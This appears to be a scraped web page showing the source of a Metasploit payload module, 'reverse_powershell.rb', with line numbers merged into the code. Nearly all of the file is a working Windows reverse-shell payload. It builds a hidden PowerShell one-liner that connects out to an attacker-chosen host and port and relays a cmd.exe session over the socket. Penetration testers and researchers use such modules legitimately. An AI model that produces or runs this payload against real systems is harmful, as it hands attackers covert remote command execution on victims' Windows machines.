Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/cmd/windows/reverse_powershell.rb
Views: 11779
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456module MetasploitModule78CachedSize = 1588910include Msf::Payload::Single11include Msf::Sessions::CommandShellOptions1213def initialize(info = {})14super(merge_info(info,15'Name' => 'Windows Command Shell, Reverse TCP (via Powershell)',16'Description' => 'Connect back and create a command shell via Powershell',17'Author' =>18[19'Dave Kennedy', # Original payload from trustedsec on SET20'Ben Campbell' # Metasploit module21],22'References' =>23[24['URL', 'https://github.com/trustedsec/social-engineer-toolkit/blob/master/src/powershell/reverse.powershell']25],26# The powershell code is from SET, copyrighted by TrustedSEC, LLC and BSD licensed -- see https://github.com/trustedsec/social-engineer-toolkit/blob/master/readme/LICENSE27'License' => MSF_LICENSE,28'Platform' => 'win',29'Arch' => ARCH_CMD,30'Handler' => Msf::Handler::ReverseTcp,31'Session' => Msf::Sessions::CommandShell,32'PayloadType' => 'cmd',33'RequiredCmd' => 'powershell',34'Payload' =>35{36'Offsets' => { },37'Payload' => ''38}39))40register_advanced_options(41[42OptString.new('PowerShellPath', [true, 'The path to the PowerShell executable', 'powershell'])43]44)45end4647#48# Constructs the payload49#50def generate(_opts = {})51return super + command_string52end5354#55# Returns the command string to use for execution56#57def command_string58lhost = datastore['LHOST']59lport = datastore['LPORT']60powershell = %Q^61$a='#{lhost}';62$b=#{lport};63$c=New-Object system.net.sockets.tcpclient;64$nb=New-Object System.Byte[] $c.ReceiveBufferSize;65$ob=New-Object System.Byte[] 65536;66$eb=New-Object System.Byte[] 65536;67$e=new-object System.Text.UTF8Encoding;68$p=New-Object System.Diagnostics.Process;69$p.StartInfo.FileName='cmd.exe';70$p.StartInfo.RedirectStandardInput=1;71$p.StartInfo.RedirectStandardOutput=1;72$p.StartInfo.RedirectStandardError=1;73$p.StartInfo.UseShellExecute=0;74$q=$p.Start();75$is=$p.StandardInput;76$os=$p.StandardOutput;77$es=$p.StandardError;78$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);79$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);80$c.connect($a,$b);81$s=$c.GetStream();82while ($true) {83start-sleep -m 100;84if ($osread.IsCompleted -and $osread.Result -ne 0) {85$r=$os.BaseStream.EndRead($osread);86$s.Write($ob,0,$r);87$s.Flush();88$osread=$os.BaseStream.BeginRead($ob, 0, $ob.Length, $null, $null);89}90if ($esread.IsCompleted -and $esread.Result -ne 0) {91$r=$es.BaseStream.EndRead($esread);92$s.Write($eb,0,$r);93$s.Flush();94$esread=$es.BaseStream.BeginRead($eb, 0, $eb.Length, $null, $null);95}96if ($s.DataAvailable) {97$r=$s.Read($nb,0,$nb.Length);98if ($r -lt 1) {99break;100} else {101$str=$e.GetString($nb,0,$r);102$is.write($str);103}104}105if ($c.Connected -ne $true -or ($c.Client.Poll(1,[System.Net.Sockets.SelectMode]::SelectRead) -and $c.Client.Available -eq 0)) {106break;107}108if ($p.ExitCode -ne $null) {109break;110}111}112^.gsub!("\n", "")113114"#{datastore['PowerShellPath']} -w hidden -nop -c #{powershell}"115end116end117118119